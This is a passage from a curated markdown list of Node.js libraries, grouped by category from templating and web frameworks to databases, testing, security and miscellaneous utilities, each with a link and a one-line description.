- [i2c-bus](https://github.com/fivdi/i2c-bus) - I2C serial bus access.
- [onoff](https://github.com/fivdi/onoff) - GPIO access and interrupt detection.
- [spi-device](https://github.com/fivdi/spi-device) - SPI serial bus access.
- [pigpio](https://github.com/fivdi/pigpio) - Fast GPIO, PWM, servo control, state change notification, and interrupt handling on the Raspberry Pi.
- [gps](https://github.com/infusion/GPS.js) - NMEA parser for handling GPS receivers.
### Templating
- [marko](https://github.com/marko-js/marko) - HTML-based templating engine that compiles templates to CommonJS modules and supports streaming, async rendering and custom tags.
- [nunjucks](https://github.com/mozilla/nunjucks) - Templating engine with inheritance, asynchronous control, and more (jinja2 inspired).
- [handlebars.js](https://github.com/wycats/handlebars.js) - Superset of Mustache templates which adds powerful features like helpers and more advanced blocks.
- [EJS](https://github.com/mde/ejs) - Simple unopinionated templating language.
- [Pug](https://github.com/pugjs/pug) - High-performance template engine heavily influenced by Haml.
### Web frameworks
- [Hapi](https://github.com/hapijs/hapi) - Framework for building applications and services.
- [Koa](https://github.com/koajs/koa) - Framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for web applications and APIs.
- [Express](https://github.com/expressjs/express) - Web application framework, providing a robust set of features for building single and multi-page, and hybrid web applications.
- [Feathers](https://github.com/feathersjs/feathers) - Microservice framework built in the spirit of Express.
- [LoopBack](https://github.com/strongloop/loopback) - Powerful framework for creating REST APIs and easily connecting to backend data sources.
- [Meteor](https://github.com/meteor/meteor) - An ultra-simple, database-everywhere, data-on-the-wire, pure-Javascript web framework. *(You might like [awesome-meteor](https://github.com/Urigo/awesome-meteor))*
- [Restify](https://github.com/restify/node-restify) - Enables you to build correct REST web services.
- [ThinkJS](https://github.com/thinkjs/thinkjs) - Framework with ES2015+ support, WebSockets, REST API.
- [ActionHero](https://github.com/actionhero/actionhero) - Framework for making reusable & scalable APIs for TCP sockets, WebSockets, and HTTP clients.
- [Next.js](https://github.com/zeit/next.js) - Minimalistic framework for server-rendered universal JavaScript web apps.
- [Nuxt.js](https://github.com/nuxt/nuxt.js) - Minimalistic framework for server-rendered Vue.js apps.
- [seneca](https://github.com/senecajs/seneca) - Toolkit for writing microservices.
- [AdonisJs](http://adonisjs.com) - A true MVC framework for Node.js built on solid foundations of Dependency Injection and IoC container.
- [Hemera](https://github.com/hemerajs/hemera) - Write reliable and fault-tolerant microservices with [NATS](https://nats.io).
- [Micro](https://github.com/zeit/micro) - Minimalistic microservice framework with an async approach.
- [Moleculer](https://moleculer.services) - Fast & powerful microservices framework.
- [Fastify](https://github.com/fastify/fastify) - Fast and low overhead web framework.
- [Nest](https://github.com/nestjs/nest) - Angular-inspired framework for building efficient and scalable server-side apps.
- [Zeronode](https://github.com/sfast/zeronode) - Minimal building block for reliable and fault-tolerant microservices.
- [TypeGraphQL](https://github.com/19majkel94/type-graphql) - Modern framework for creating GraphQL APIs with TypeScript, using classes and decorators.
### Documentation
- [documentation.js](https://github.com/documentationjs/documentation) - API documentation generator with support for ES2015+ and flow annotation.
- [ESDoc](https://github.com/esdoc/esdoc) - Documentation generator targeting ES2015, attaching test code and measuring documentation coverage.
- [Docco](https://github.com/jashkenas/docco) - Documentation generator which produces an HTML document that displays your comments intermingled with your code.
- [JSDoc](https://github.com/jsdoc3/jsdoc) - API documentation generator similar to JavaDoc or PHPDoc.
- [Docusaurus](https://github.com/facebook/docusaurus) - Documentation website generator that leverages React and Markdown, and comes with translation and versioning features.
### Filesystem
- [del](https://github.com/sindresorhus/del) - Delete files/folders using globs.
- [globby](https://github.com/sindresorhus/globby) - Glob files with support for multiple patterns.
- [cpy](https://github.com/sindresorhus/cpy) - Copy files.
- [rimraf](https://github.com/isaacs/rimraf) - Recursively delete files like `rm -rf`.
- [make-dir](https://github.com/sindresorhus/make-dir) - Recursively create directories like `mkdir -p`.
- [graceful-fs](https://github.com/isaacs/node-graceful-fs) - Drop-in replacement for the `fs` module with various improvements.
- [chokidar](https://github.com/paulmillr/chokidar) - Filesystem watcher which stabilizes events from `fs.watch` and `fs.watchFile` as well as using native `fsevents` on macOS.
- [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories.
- [proper-lockfile](https://github.com/IndigoUnited/node-proper-lockfile) - Inter-process and inter-machine lockfile utility.
- [load-json-file](https://github.com/sindresorhus/load-json-file) - Read and parse a JSON file.
- [write-json-file](https://github.com/sindresorhus/write-json-file) - Stringify and write JSON to a file atomically.
- [fs-write-stream-atomic](https://github.com/npm/fs-write-stream-atomic) - Like `fs.createWriteStream()`, but atomic.
- [filenamify](https://github.com/sindresorhus/filenamify) - Convert a string to a valid filename.
- [lnfs](https://github.com/kevva/lnfs) - Force create symlinks like `ln -fs`.
- [istextorbinary](https://github.com/bevry/istextorbinary) - Check if a file is text or binary.
- [fs-jetpack](https://github.com/szwacz/fs-jetpack) - Completely redesigned file system API for convenience in everyday use.
- [fs-extra](https://github.com/jprichardson/node-fs-extra) - Extra methods for the `fs` module.
- [pkg-dir](https://github.com/sindresorhus/pkg-dir) - Find the root directory of an npm package.
- [filehound](https://github.com/nspragg/filehound) - Flexible and fluent interface for searching the file system.
- [move-file](https://github.com/sindresorhus/move-file) - Move a file, even works across devices.
- [tempy](https://github.com/sindresorhus/tempy) - Get a random temporary file or directory path.
### Control flow
- Promises
- [Bluebird](https://github.com/petkaantonov/bluebird) - Promise library with focus on innovative features and performance.
- [pify](https://github.com/sindresorhus/pify) - Promisify a callback-style function.
- [delay](https://github.com/sindresorhus/delay) - Delay a promise a specified amount of time.
- [promise-memoize](https://github.com/nodeca/promise-memoize) - Memoize promise-returning functions, with expire and prefetch.
- [valvelet](https://github.com/lpinca/valvelet) - Limit the execution rate of a promise-returning function.
- [p-map](https://github.com/sindresorhus/p-map) - Map over promises concurrently.
- [More…](https://github.com/sindresorhus/promise-fun)
- Observables
- [zen-observable](https://github.com/zenparsing/zen-observable) - Implementation of Observables.
- [RxJS](https://github.com/ReactiveX/RxJS) - Reactive programming.
- [observable-to-promise](https://github.com/sindresorhus/awesome-observables) - Convert an Observable to a Promise.
- [More…](https://github.com/sindresorhus/awesome-observables)
- Streams
- [Highland.js](https://github.com/caolan/highland) - Manages synchronous and asynchronous code easily, using nothing more than standard JavaScript and Node-like Streams.
- Callbacks
- [each-async](https://github.com/sindresorhus/each-async) - Async concurrent iterator like forEach.
- [async](https://github.com/caolan/async) - Provides straight-forward, powerful functions for working with asynchronicity.
- Channels
- [js-csp](https://github.com/ubolonton/js-csp) - Communicating sequential processes for JavaScript (like Clojurescript core.async, or Go).
### Streams
- [through2](https://github.com/rvagg/through2) - Tiny wrapper around streams2 Transform to avoid explicit subclassing noise.
- [from2](https://github.com/hughsk/from2) - Convenience wrapper for ReadableStream, inspired by `through2`.
- [get-stream](https://github.com/sindresorhus/get-stream) - Get a stream as a string or buffer.
- [into-stream](https://github.com/sindresorhus/into-stream) - Convert a buffer/string/array/object into a stream.
- [duplexify](https://github.com/mafintosh/duplexify) - Turn a writeable and readable stream into a single streams2 duplex stream.
- [pumpify](https://github.com/mafintosh/pumpify) - Combine an array of streams into a single duplex stream.
- [peek-stream](https://github.com/mafintosh/peek-stream) - Transform stream that lets you peek the first line before deciding how to parse it.
- [binary-split](https://github.com/maxogden/binary-split) - Newline (or any delimiter) splitter stream.
- [byline](https://github.com/jahewson/node-byline) - Super-simple line-by-line Stream reader.
- [first-chunk-stream](https://github.com/sindresorhus/first-chunk-stream) - Transform the first chunk in a stream.
- [pad-stream](https://github.com/sindresorhus/pad-stream) - Pad each line in a stream.
- [multistream](https://github.com/feross/multistream) - Combine multiple streams into a single stream.
- [stream-combiner2](https://github.com/substack/stream-combiner2) - Turn a pipeline into a single stream.
- [readable-stream](https://github.com/nodejs/readable-stream) - Mirror of Streams2 and Streams3 implementations in core.
- [through2-concurrent](https://github.com/almost/through2-concurrent) - Transform object streams concurrently.
### Real-time
- [µWebSockets](https://github.com/uWebSockets/uWebSockets) - Highly scalable WebSocket server & client library.
- [Socket.io](https://github.com/socketio/socket.io) - Enables real-time bidirectional event-based communication.
- [Faye](https://github.com/faye/faye) - Real-time client-server message bus, based on Bayeux protocol.
- [SocketCluster](https://github.com/SocketCluster/socketcluster) - Scalable HTTP + WebSocket engine which can run on multiple CPU cores.
- [Primus](https://github.com/primus/primus) - An abstraction layer for real-time frameworks to prevent module lock-in.
- [deepstream.io](https://github.com/deepstreamIO/deepstream.io-client-js) - Scalable real-time microservice framework.
- [Kalm](https://github.com/kalm/kalm.js) - Low-level socket router and middleware framework.
- [MQTT.js](https://github.com/mqttjs/MQTT.js) - Client for MQTT - Pub-sub based messaging protocol for use on top of TCP/IP.
- [rpc-websockets](https://github.com/elpheria/rpc-websockets) - JSON-RPC 2.0 implementation over WebSockets.
- [Aedes](https://github.com/mcollina/aedes) - Barebone MQTT server that can run on any stream server.
### Image
- [sharp](https://github.com/lovell/sharp) - The fastest module for resizing JPEG, PNG, WebP and TIFF images.
- [image-type](https://github.com/sindresorhus/image-type) - Detect the image type of a Buffer/Uint8Array.
- [gm](https://github.com/aheckmann/gm) - GraphicsMagick and ImageMagick wrapper.
- [lwip](https://github.com/EyalAr/lwip) - Lightweight image processor which does not require ImageMagick.
- [pica](https://github.com/nodeca/pica) - High quality & fast resize (lanczos3) in pure JS. Alternative to canvas drawImage(), when no pixelation allowed.
- [jimp](https://github.com/oliver-moran/jimp) - Image processing in pure JavaScript.
- [probe-image-size](https://github.com/nodeca/probe-image-size) - Get the size of most image formats without a full download.
- [qrcode](https://github.com/soldair/node-qrcode) - QR code and bar code generator.
### Text
- [iconv-lite](https://github.com/ashtuchkin/iconv-lite) - Convert character encodings.
- [string-length](https://github.com/sindresorhus/string-length) - Get the real length of a string - by correctly counting astral symbols and ignoring ansi escape codes.
- [camelcase](https://github.com/sindresorhus/camelcase) - Convert a dash/dot/underscore/space separated string to camelCase: foo-bar → fooBar.
- [escape-string-regexp](https://github.com/sindresorhus/escape-string-regexp) - Escape RegExp special characters.
- [execall](https://github.com/sindresorhus/execall) - Find multiple RegExp matches in a string.
- [splice-string](https://github.com/sindresorhus/splice-string) - Remove or replace part of a string like `Array#splice`.
- [indent-string](https://github.com/sindresorhus/indent-string) - Indent each line in a string.
- [strip-indent](https://github.com/sindresorhus/strip-indent) - Strip leading whitespace from every line in a string.
- [detect-indent](https://github.com/sindresorhus/detect-indent) - Detect the indentation of code.
- [he](https://github.com/mathiasbynens/he) - HTML entity encoder/decoder.
- [i18n-node](https://github.com/mashpie/i18n-node) - Simple translation module with dynamic JSON storage.
- [babelfish](https://github.com/nodeca/babelfish) - i18n with very easy syntax for plurals.
- [matcher](https://github.com/sindresorhus/matcher) - Simple wildcard matching.
- [unhomoglyph](https://github.com/nodeca/unhomoglyph) - Normalize visually similar unicode characters.
- [i18next](https://github.com/i18next/i18next) - Internationalization framework.
- [nanoid](https://github.com/ai/nanoid) - Tiny, secure, URL-friendly, unique string ID generator.
- [StegCloak](https://github.com/kurolabs/stegcloak) - Conceal secrets within strings, in plain sight.
### Number
- [random-int](https://github.com/sindresorhus/random-int) - Generate a random integer.
- [random-float](https://github.com/sindresorhus/random-float) - Generate a random float.
- [unique-random](https://github.com/sindresorhus/unique-random) - Generate random numbers that are consecutively unique.
- [round-to](https://github.com/sindresorhus/round-to) - Round a number to a specific number of decimal places: `1.234` → `1.2`.
### Math
- [ndarray](https://github.com/scijs/ndarray) - Multidimensional arrays.
- [mathjs](https://github.com/josdejong/mathjs) - An extensive math library.
- [math-clamp](https://github.com/sindresorhus/math-clamp) - Clamp a number.
- [algebra](https://github.com/fibo/algebra) - Algebraic structures.
- [multimath](https://github.com/nodeca/multimath) - Core to create fast image math in WebAssembly and JS.
### Date
- [Luxon](https://github.com/moment/luxon) - Library for working with dates and times.
- [date-fns](https://github.com/date-fns/date-fns) - Modern date utility.
- [Moment.js](http://momentjs.com) - Parse, validate, manipulate, and display dates.
- [Day.js](https://github.com/iamkun/dayjs) - Immutable date library alternative to Moment.js.
- [dateformat](https://github.com/felixge/node-dateformat) - Date formatting.
- [tz-format](https://github.com/samverschueren/tz-format) - Format a date with timezone: `2015-11-30T10:40:35+01:00`.
- [cctz](https://github.com/floatdrop/node-cctz) - Fast parsing, formatting, and timezone conversation for dates.
### URL
- [normalize-url](https://github.com/sindresorhus/normalize-url) - Normalize a URL.
- [humanize-url](https://github.com/sindresorhus/humanize-url) - Humanize a URL: http://sindresorhus.com → sindresorhus.com.
- [url-unshort](https://github.com/nodeca/url-unshort) - Expand shortened URLs.
- [speakingurl](https://github.com/pid/speakingurl) - Generate a slug from a string with transliteration.
- [linkify-it](https://github.com/markdown-it/linkify-it) - Link patterns detector with full unicode support.
- [url-pattern](https://github.com/snd/url-pattern) - Easier than regex string matching patterns for URLs and other strings.
- [embedza](https://github.com/nodeca/embedza) - Create HTML snippets/embeds from URLs using info from oEmbed, Open Graph, meta tags.
### Data validation
- [joi](https://github.com/hapijs/joi) - Object schema description language and validator for JavaScript objects.
- [is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) - JSON Schema validator that uses code generation to be extremely fast.
- [property-validator](https://github.com/nettofarah/property-validator) - Easy property validation for Express.
- [schema-inspector](https://github.com/Atinux/schema-inspector) - JSON API sanitization and validation.
- [ajv](https://github.com/epoberezkin/ajv) - The fastest JSON Schema validator. Supports v5, v6 and v7 proposals.
### Parsing
- [remark](https://github.com/wooorm/remark) - Markdown processor powered by plugins.
- [markdown-it](https://github.com/markdown-it/markdown-it) - Markdown parser with 100% CommonMark support, extensions and syntax plugins.
- [parse5](https://github.com/inikulin/parse5) - Fast full-featured spec compliant HTML parser.
- [strip-json-comments](https://github.com/sindresorhus/strip-json-comments) - Strip comments from JSON.
- [strip-css-comments](https://github.com/sindresorhus/strip-css-comments) - Strip comments from CSS.
- [parse-json](https://github.com/sindresorhus/parse-json) - Parse JSON with more helpful errors.
- [URI.js](https://github.com/medialize/URI.js) - URL mutation.
- [PostCSS](https://github.com/postcss/postcss) - CSS parser / stringifier.
- [JSONStream](https://github.com/dominictarr/JSONStream) - Streaming JSON.parse and stringify.
- [neat-csv](https://github.com/sindresorhus/neat-csv) - Fast CSV parser. Callback interface for the above.
- [csv-parser](https://github.com/mafintosh/csv-parser) - Streaming CSV parser that aims to be faster than everyone else.
- [PEG.js](https://github.com/pegjs/pegjs) - Simple parser generator that produces fast parsers with excellent error reporting.
- [x-ray](https://github.com/lapwinglabs/x-ray) - Web scraping utility.
- [nearley](https://github.com/Hardmath123/nearley) - Simple, fast, powerful parsing for JavaScript.
- [binary-extract](https://github.com/juliangruber/binary-extract) - Extract a value from a buffer of JSON without parsing the whole thing.
- [Stylecow](https://github.com/stylecow/stylecow) - Parse, manipulate and convert modern CSS to make it compatible with all browsers. Extensible with plugins.
- [js-yaml](https://github.com/nodeca/js-yaml) - Very fast YAML parser.
- [xml2js](https://github.com/Leonidas-from-XIV/node-xml2js) - XML to JavaScript object converter.
- [Jison](https://github.com/zaach/jison) - Friendly JavaScript parser generator. It shares genes with Bison, Yacc and family.
- [google-libphonenumber](https://github.com/seegno/google-libphonenumber) - Parse, format, store and validate phone numbers.
- [ref](https://github.com/TooTallNate/ref) - Read/write structured binary data in Buffers.
- [xlsx-populate](https://github.com/dtjohnson/xlsx-populate) - Read/write Excel XLSX.
- [Chevrotain](https://github.com/SAP/chevrotain) - Very fast and feature rich parser building toolkit for JavaScript.
- [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser) - Validate and parse XML.
### Humanize
- [pretty-bytes](https://github.com/sindresorhus/pretty-bytes) - Convert bytes to a human readable string: `1337` → `1.34 kB`.
- [pretty-ms](https://github.com/sindresorhus/pretty-ms) - Convert milliseconds to a human readable string: `1337000000` → `15d 11h 23m 20s`.
- [ms](https://github.com/rauchg/ms.js) - Tiny millisecond conversion utility.
- [pretty-error](https://github.com/AriaMinaei/pretty-error) - Errors with less clutter.
- [read-art](https://github.com/Tjatse/node-readability) - Extract readable content from any page.
### Compression
- [yazl](https://github.com/thejoshwolfe/yazl) - Zip.
- [yauzl](https://github.com/thejoshwolfe/yauzl) - Unzip.
- [Archiver](https://github.com/archiverjs/node-archiver) - Streaming interface for archive generation, supporting ZIP and TAR.
- [pako](https://github.com/nodeca/pako) - High speed zlib port to pure js (deflate, inflate, gzip).
- [tar-stream](https://github.com/mafintosh/tar-stream) - Streaming tar parser and generator. Also see [tar-fs](https://github.com/mafintosh/tar-fs).
- [decompress](https://github.com/kevva/decompress) - Decompression module with support for `tar`, `tar.gz` and `zip` files out of the box.
### Network
- [get-port](https://github.com/sindresorhus/get-port) - Get an available port.
- [ipify](https://github.com/sindresorhus/ipify) - Get your public IP address.
- [getmac](https://github.com/bevry/getmac) - Get the computer MAC address.
- [DHCP](https://github.com/infusion/node-dhcp) - DHCP client and server.
- [netcat](https://github.com/roccomuso/netcat) - Netcat port in pure JS.
### Database
- Drivers
- [PostgreSQL](https://github.com/brianc/node-postgres) - PostgreSQL client. Pure JavaScript and native libpq bindings.
- [Redis](https://github.com/luin/ioredis) - Redis client.
- [LevelUP](https://github.com/Level/levelup) - LevelDB.
- [MySQL](https://github.com/mysqljs/mysql) - MySQL client.
- [couchdb-nano](https://github.com/apache/couchdb-nano) - CouchDB client.
- [Aerospike](https://github.com/aerospike/aerospike-client-nodejs) - Aerospike client.
- [Couchbase](https://github.com/couchbase/couchnode) - Couchbase client.
- [MongoDB](https://github.com/mongodb/node-mongodb-native) - MongoDB driver.
- ODM / ORM
- [Sequelize](https://github.com/sequelize/sequelize) - Multi-dialect ORM. Supports PostgreSQL, SQLite, MySQL, and more.
- [Bookshelf](https://github.com/bookshelf/bookshelf) - ORM for PostgreSQL, MySQL and SQLite3 in the style of Backbone.js.
- [Massive](https://github.com/robconery/massive-js) - PostgreSQL data access tool.
- [Mongoose](https://github.com/Automattic/mongoose) - Elegant MongoDB object modeling.
- [Waterline](https://github.com/balderdashy/waterline) - Datastore-agnostic tool that dramatically simplifies interaction with one or more databases.
- [OpenRecord](https://github.com/PhilWaldmann/openrecord) - ORM for PostgreSQL, MySQL, SQLite3 and RESTful datastores. Similar to ActiveRecord.
- [pg-promise](https://github.com/vitaly-t/pg-promise) - PostgreSQL framework for native SQL using promises.
- [slonik](https://github.com/gajus/slonik) - PostgreSQL client with strict types, detailed logging and assertions.
- [Objection.js](https://github.com/Vincit/objection.js) - Lightweight ORM built on the SQL query builder Knex.
- [TypeORM](https://github.com/typeorm/typeorm) - ORM for PostgreSQL, MariaDB, MySQL, SQLite, and more.
- [MikroORM](https://github.com/mikro-orm/mikro-orm) - TypeScript ORM based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, PostgreSQL, MySQL and SQLite.
- Query builder
- [Knex](https://github.com/tgriesser/knex) - Query builder for PostgreSQL, MySQL and SQLite3, designed to be flexible, portable, and fun to use.
- Other
- [NeDB](https://github.com/louischatriot/nedb) - Embedded persistent database written in JavaScript.
- [Lowdb](https://github.com/typicode/lowdb) - Small JavaScript database powered by Lodash.
- [Keyv](https://github.com/lukechilds/keyv) - Simple key-value storage with support for multiple backends.
- [Finale](https://github.com/tommybananas/finale) - RESTful endpoint generator for your Sequelize models.
- [database-js](https://github.com/mlaanderson/database-js) - Wrapper for multiple databases with a JDBC-like connection.
- [Mongo Seeding](https://github.com/pkosiec/mongo-seeding) - Populate MongoDB databases with JavaScript and JSON files.
- [@databases](https://github.com/ForbesLindesay/atdatabases) - Query PostgreSQL, MySQL and SQLite3 with plain SQL without risking SQL injection.
### Testing
- [AVA](https://github.com/avajs/ava) - Futuristic test runner.
- [Mocha](https://github.com/mochajs/mocha) - Feature-rich test framework making asynchronous testing simple and fun.
- [nyc](https://github.com/bcoe/nyc) - Code coverage tool built on istanbul that works with subprocesses.
- [tap](https://github.com/isaacs/node-tap) - TAP test framework.
- [tape](https://github.com/substack/tape) - TAP-producing test harness.
- [power-assert](https://github.com/power-assert-js/power-assert) - Provides descriptive assertion messages through the standard assert interface.
- [Mochify](https://github.com/mantoni/mochify.js) - TDD with Browserify, Mocha, PhantomJS and WebDriver.
- [trevor](https://github.com/vdemedes/trevor) - Run tests against multiple versions of Node.js without switching versions manually or pushing to Travis CI.
- [loadtest](https://github.com/alexfernandez/loadtest) - Run load tests for your web application, with an API for automation.
- [Sinon.JS](https://github.com/sinonjs/sinon) - Test spies, stubs and mocks.
- [navit](https://github.com/nodeca/navit) - PhantomJS / SlimerJS wrapper to simplify browser test scripting.
- [Nock](https://github.com/pgte/nock) - HTTP mocking and expectations.
- [intern](https://github.com/theintern/intern) - Code testing stack.
- [toxy](https://github.com/h2non/toxy) - Hackable HTTP proxy to simulate failure scenarios and network conditions.
- [hook-std](https://github.com/sindresorhus/hook-std) - Hook and modify stdout/stderr.
- [testen](https://github.com/egoist/testen) - Run tests for multiple versions of Node.js locally with NVM.
- [Nightwatch](https://github.com/nightwatchjs/nightwatch) - Automated UI testing framework based on Selenium WebDriver.
- [WebdriverIO](https://github.com/webdriverio/webdriverio) - Automated testing based on the WebDriver protocol.
- [Jest](https://github.com/facebook/jest) - Painless JavaScript testing.
- [TestCafe](https://github.com/DevExpress/testcafe) - Automated browser testing.
- [abstruse](https://github.com/bleenco/abstruse) - Continuous Integration server.
- [CodeceptJS](https://github.com/Codeception/CodeceptJS) - End-to-end testing.
- [Puppeteer](https://github.com/GoogleChrome/puppeteer) - Headless Chrome.
- [Playwright](https://github.com/microsoft/playwright) - Headless Chromium, WebKit, and Firefox with a single API.
- [nve](https://github.com/ehmicky/nve) - Run any command on multiple versions of Node.js locally.
- [axe-core](https://github.com/dequelabs/axe-core) - Accessibility engine for automated Web UI testing.
### Security
- [upash](https://github.com/simonepri/upash) - Unified API for all password hashing algorithms.
- [themis](https://github.com/cossacklabs/themis) - Multilanguage framework for making typical encryption schemes easy to use: data at rest, authenticated data exchange, transport protection, authentication, and so on.
- [GuardRails](https://github.com/apps/guardrails) - GitHub app that provides security feedback in pull requests.
- [rate-limiter-flexible](https://github.com/animir/node-rate-limiter-flexible) - Brute-force and DDoS attack protection.
- [crypto-hash](https://github.com/sindresorhus/crypto-hash) - Async non-blocking hashing.
- [jose-simple](https://github.com/davesag/jose-simple) - Encryption and decryption of data using the JOSE (JSON Object Signing and Encryption) standard.
### Benchmarking
- [Benchmark.js](https://github.com/bestiejs/benchmark.js) - Benchmarking library that supports high-resolution timers and returns statistically significant results.
- [matcha](https://github.com/logicalparadox/matcha) - Simplistic approach to benchmarking.
### Minifiers
- [babili](https://github.com/babel/babili) - ES2015+ aware minifier based on the Babel toolchain.
- [UglifyJS2](https://github.com/mishoo/UglifyJS2) - JavaScript minifier.
- [clean-css](https://github.com/jakubpawlowicz/clean-css) - CSS minifier.
- [minimize](https://github.com/Swaagie/minimize) - HTML minifier.
- [imagemin](https://github.com/imagemin/imagemin) - Image minifier.
### Authentication
- [Passport](https://github.com/jaredhanson/passport) - Simple, unobtrusive authentication.
- [Grant](https://github.com/simov/grant) - OAuth middleware for Express, Koa, and Hapi.
### Authorization
- [CASL](https://github.com/stalniy/casl) - Isomorphic authorization for UI and API.
- [node-casbin](https://github.com/casbin/node-casbin) - Authorization library that supports access control models like ACL, RBAC and ABAC.
### Email
- [Nodemailer](https://github.com/andris9/Nodemailer) - The fastest way to handle email.
- [emailjs](https://github.com/eleith/emailjs) - Send text/HTML emails with attachments to any SMTP server.
- [email-templates](https://github.com/niftylettuce/email-templates) - Create, preview, and send custom email templates.
- [MJML](https://github.com/mjmlio/mjml) - Markup language designed to reduce the pain of creating responsive emails.
### Job queues
- [bull](https://github.com/OptimalBits/bull) - Persistent job and message queue.
- [agenda](https://github.com/rschmukler/agenda) - MongoDB-backed job scheduling.
- [idoit](https://github.com/nodeca/idoit) - Redis-backed job queue engine with advanced job control.
- [node-resque](https://github.com/taskrabbit/node-resque) - Redis-backed job queue.
- [rsmq](https://github.com/smrchy/rsmq) - Redis-backed message queue.
- [bee-queue](https://github.com/bee-queue/bee-queue) - High-performance Redis-backed job queue.
- [RedisSMQ](https://github.com/weyoss/redis-smq) - Simple high-performance Redis message queue with real-time monitoring.
- [sqs-consumer](https://github.com/bbc/sqs-consumer) - Build Amazon Simple Queue Service (SQS) based apps without the boilerplate.
- [better-queue](https://github.com/diamondio/better-queue) - Simple and efficient job queue when you cannot use Redis.
### Node.js management
- [n](https://github.com/tj/n) - Node.js version management.
- [nave](https://github.com/isaacs/nave) - Virtual Environments for Node.js.
- [nodeenv](https://github.com/ekalinin/nodeenv) - Node.js virtual environment compatible to Python's virtualenv.
- [nvm for Windows](https://github.com/coreybutler/nvm-windows) - Version management for Windows.
- [nodenv](https://github.com/nodenv/nodenv) - Version manager that is similar to Ruby's rbenv. It supports auto version switching.
### Natural language processing
- [retext](https://github.com/wooorm/retext) - An extensible natural language system.
- [franc](https://github.com/wooorm/franc) - Detect the language of text.
- [leven](https://github.com/sindresorhus/leven) - Measure the difference between two strings using the Levenshtein distance algorithm.
- [natural](https://github.com/NaturalNode/natural) - Natural language facility.
- [nlp.js](https://github.com/axa-group/nlp.js) - Building bots, with entity extraction, sentiment analysis, automatic language identify, and more.
### Process management
- [PM2](https://github.com/Unitech/pm2) - Advanced Process Manager.
- [nodemon](https://github.com/remy/nodemon) - Monitor for changes in your app and automatically restart the server.
- [node-mac](https://github.com/coreybutler/node-mac) - Run scripts as a native Mac daemon and log to the console app.
- [node-linux](https://github.com/coreybutler/node-linux) - Run scripts as native system service and log to syslog.
- [node-windows](https://github.com/coreybutler/node-windows) - Run scripts as a native Windows service and log to the Event viewer.
- [supervisor](https://github.com/petruisfan/node-supervisor) - Restart scripts when they crash or restart when a `*.js` file changes.
- [Phusion Passenger](https://github.com/phusion/passenger) - Friendly process manager that integrates directly into Nginx.
### Automation
- [robotjs](https://github.com/octalmage/robotjs) - Desktop Automation: control the mouse, keyboard and read the screen.
### AST
- [Acorn](https://github.com/ternjs/acorn) - Tiny, fast JavaScript parser.
- [babel-parser](https://github.com/babel/babel/tree/master/packages/babel-parser) - JavaScript parser used in Babel.
- [cherow](https://github.com/cherow/cherow) - JavaScript parser with focus on performance and stability.
### Static site generators
- [Wintersmith](https://github.com/jnordberg/wintersmith) - Flexible, minimalistic, multi-platform static site generator.
- [Assemble](https://github.com/assemble/assemble/) - Static site generator for Node.js, Grunt.js, and Yeoman.
- [DocPad](https://github.com/docpad/docpad) - Static site generator with dynamic abilities and huge plugin ecosystem.
- [Phenomic](https://github.com/phenomic/phenomic) - Modern static website generator based on the React and Webpack ecosystem.
- [docsify](https://github.com/QingWei-Li/docsify) - Markdown documentation site generator with no statically built HTML files.
- [Charge](https://github.com/brandonweiss/charge) - Opinionated, zero-config static site generator using JSX and MDX.
### Content management systems
- [KeystoneJS](https://github.com/keystonejs/keystone) - CMS and web application platform built on Express and MongoDB.
- [ApostropheCMS](https://github.com/apostrophecms/apostrophe) - Content management system with an emphasis on intuitive front end content editing and administration built on Express and MongoDB.
- [Strapi](https://github.com/strapi/strapi) - Content Management Framework (headless-CMS) to build powerful APIs.
- [Tipe](https://github.com/tipeio/tipe) - Developer-first content management system with GraphQL and REST API from a schema file.
### Forum
- [nodeBB](https://github.com/NodeBB/NodeBB) - Forum platform for the modern web.
### Blogging
- [Ghost](https://github.com/TryGhost/Ghost) - Simple, powerful publishing platform.
- [Hexo](https://github.com/hexojs/hexo) - Fast, simple and powerful blogging framework.
### Weird
- [cows](https://github.com/sindresorhus/cows) - ASCII cows.
- [superb](https://github.com/sindresorhus/superb) - Get superb like words.
- [cat-names](https://github.com/sindresorhus/cat-names) - Get popular cat names.
- [dog-names](https://github.com/sindresorhus/dog-names) - Get popular dog names.
- [superheroes](https://github.com/sindresorhus/superheroes) - Get superhero names.
- [supervillains](https://github.com/sindresorhus/supervillains) - Get supervillain names.
- [cool-ascii-faces](https://github.com/maxogden/cool-ascii-faces) - Get some cool ascii faces.
- [cat-ascii-faces](https://github.com/melaniecebula/cat-ascii-faces) - `₍˄·͈༝·͈˄₎◞ ̑̑ෆ⃛ (=ↀωↀ=)✧ (^･o･^)ﾉ”`.
- [nerds](https://github.com/SkyHacks/nerds) - Get data from nerdy topics like Harry Potter, Star Wars, and Pokémon.
### Serialization
- [snappy](https://github.com/kesla/node-snappy) - Native bindings for Google's Snappy compression library.
- [protobuf](https://github.com/dcodeIO/protobuf.js) - Implementation of Protocol Buffers.
- [compactr](https://github.com/compactr/compactr.js) - Implementation of the Compactr protocol.
### Miscellaneous
- [execa](https://github.com/sindresorhus/execa) - Better `child_process`.
- [cheerio](https://github.com/cheeriojs/cheerio) - Fast, flexible, and lean implementation of core jQuery designed specifically for the server.
- [Electron](https://github.com/atom/electron) - Build cross platform desktop apps with web technologies. *(You might like [awesome-electron](https://github.com/sindresorhus/awesome-electron))*
- [open](https://github.com/sindresorhus/open) - Opens stuff like websites, files, executables.
- [hasha](https://github.com/sindresorhus/hasha) - Hashing made simple. Get the hash of a buffer/string/stream/file.
- [dot-prop](https://github.com/sindresorhus/dot-prop) - Get a property from a nested object using a dot path.
- [onetime](https://github.com/sindresorhus/onetime) - Only run a function once.
- [mem](https://github.com/sindresorhus/mem) - Memoize functions - an optimization technique used to speed up consecutive function calls by caching the result of calls with identical input.
- [import-fresh](https://github.com/sindresorhus/import-fresh) - Import a module while bypassing the cache.
- [strip-bom](https://github.com/sindresorhus/strip-bom) - Strip UTF-8 byte order mark (BOM) from a string/buffer/stream.
- [os-locale](https://github.com/sindresorhus/os-locale) - Get the system locale.
- [ssh2](https://github.com/mscdex/ssh2) - SSH2 client and server module.
- [adit](https://github.com/markelog/adit) - SSH tunneling made simple.
- [import-lazy](https://github.com/sindresorhus/import-lazy) - Import a module lazily.
